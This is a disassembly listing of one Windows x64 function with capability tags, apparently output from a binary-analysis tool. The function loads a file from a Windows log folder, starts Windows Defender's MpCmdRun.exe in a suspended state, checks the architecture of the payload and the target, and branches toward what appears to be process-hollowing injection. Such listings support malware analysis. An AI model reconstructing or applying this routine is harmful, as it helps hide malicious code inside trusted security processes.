Function at 0x1400e0a20
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
jmp 0x1401abbd0
push rbp
push rsi
push rdi
sub rsp, 0x4c0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xbc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1409de940]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x1409fe125]
call fcn.1400e2ee2
nop
lea rax, str.C:WindowsLogsDPX_setuparr.log
mov qword [rbp + 8], rax
lea rax, str.C:Program_FilesWindows_DefenderMpCmdRun.exe
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 8]
call fcn.1400e38e2
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1401abc43
mov eax, 0xffffffff
jmp 0x1401ac086
mov rcx, qword [rbp + 0x48]
call fcn.1400e2a37
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x1401abc75
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov eax, 0xffffffff
jmp 0x1401ac086
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x90]
call fcn.1400e16eb
nop
mov dword [rbp + 0x90], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x118]
call fcn.1400e16eb
nop
lea rax, [rbp + 0x118]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x144], eax
cmp dword [rbp + 0x144], 0
jne 0x1401abd1f
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400de590
nop
mov eax, 0xffffffff
jmp 0x1401ac086
lea rdx, [rbp + 0x164]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
nop
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], 0
cmp dword [rbp + 0x164], 0
je 0x1401abdc6
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x3e8]
call fcn.1400dfd78
lea rcx, [rbp + 0x3b8]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x188]
lea rcx, [rbp + 0x3b8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x190], 0
je 0x1401abda9
cmp qword [rbp + 0x188], 0
jne 0x1401abdc4
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400de590
nop
mov eax, 0xffffffff
jmp 0x1401ac086
jmp 0x1401abe37
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x448]
call fcn.1400df021
lea rcx, [rbp + 0x418]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x188]
lea rcx, [rbp + 0x418]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x190], 0
je 0x1401abe1c
cmp qword [rbp + 0x188], 0
jne 0x1401abe37
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400de590
nop
mov eax, 0xffffffff
jmp 0x1401ac086
mov rcx, qword [rbp + 0x48]
call fcn.1400e2889
mov dword [rbp + 0x1b4], eax
cmp dword [rbp + 0x1b4], 0
je 0x1401abe58
cmp dword [rbp + 0x164], 0
je 0x1401abe6a
cmp dword [rbp + 0x1b4], 0
jne 0x1401abe74
cmp dword [rbp + 0x164], 0
je 0x1401abe74
mov eax, 0xffffffff
jmp 0x1401ac086
cmp dword [rbp + 0x1b4], 0
je 0x1401abe8e
mov rcx, qword [rbp + 0x48]
call fcn.1400dd488
mov dword [rbp + 0x1d4], eax
jmp 0x1401abe9d
mov rcx, qword [rbp + 0x48]
call fcn.1400dde15
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0xffffffff
jne 0x1401abec1
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400de590
nop
mov eax, 0xffffffff
jmp 0x1401ac086
cmp dword [rbp + 0x164], 0
je 0x1401abee5
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x118]
call fcn.1400e102e
mov dword [rbp + 0x1f4], eax
jmp 0x1401abefe
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x118]
call fcn.1400e31a8
mov dword [rbp + 0x1f4], eax
cmp dword [rbp + 0x1f4], 0xffffffff
jne 0x1401abf22
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400de590
nop
mov eax, 0xffffffff
jmp 0x1401ac086
mov eax, dword [rbp + 0x1f4]
cmp dword [rbp + 0x1d4], eax
je 0x1401abf4b
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400de590
nop
mov eax, 0xffffffff
jmp 0x1401ac086
cmp dword [rbp + 0x1b4], 0
je 0x1401abf65
mov rcx, qword [rbp + 0x48]
call fcn.1400e24ba
mov dword [rbp + 0x214], eax
jmp 0x1401abf74
mov rcx, qword [rbp + 0x48]
call fcn.1400df602
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x1b4], 0
je 0x1401abf9a
cmp dword [rbp + 0x214], 0
jne 0x1401abf9a
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400df5cb
test eax, eax
jne 0x1401ac00c
cmp dword [rbp + 0x1b4], 0
je 0x1401abfc0
cmp dword [rbp + 0x214], 0
je 0x1401abfc0
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400de905
test eax, eax
jne 0x1401ac00c
cmp dword [rbp + 0x1b4], 0
jne 0x1401abfe6
cmp dword [rbp + 0x214], 0
jne 0x1401abfe6
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400ddacd
test eax, eax
jne 0x1401ac00c
cmp dword [rbp + 0x1b4], 0
jne 0x1401ac021
cmp dword [rbp + 0x214], 0
je 0x1401ac021
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400e02f5
test eax, eax
je 0x1401ac021
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.1400df9ef
nop
xor eax, eax
jmp 0x1401ac086
cmp qword [rbp + 0x48], 0
je 0x1401ac03e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
cmp qword [rbp + 0x120], 0
je 0x1401ac056
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x118], 0
je 0x1401ac081
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 0xffffffff
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1402b40f0]
call fcn.1400e1e57
mov rax, rdi
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.1400dfd73
lea rsp, [rbp + 0x470]
pop rdi
pop rsi
pop rbp
ret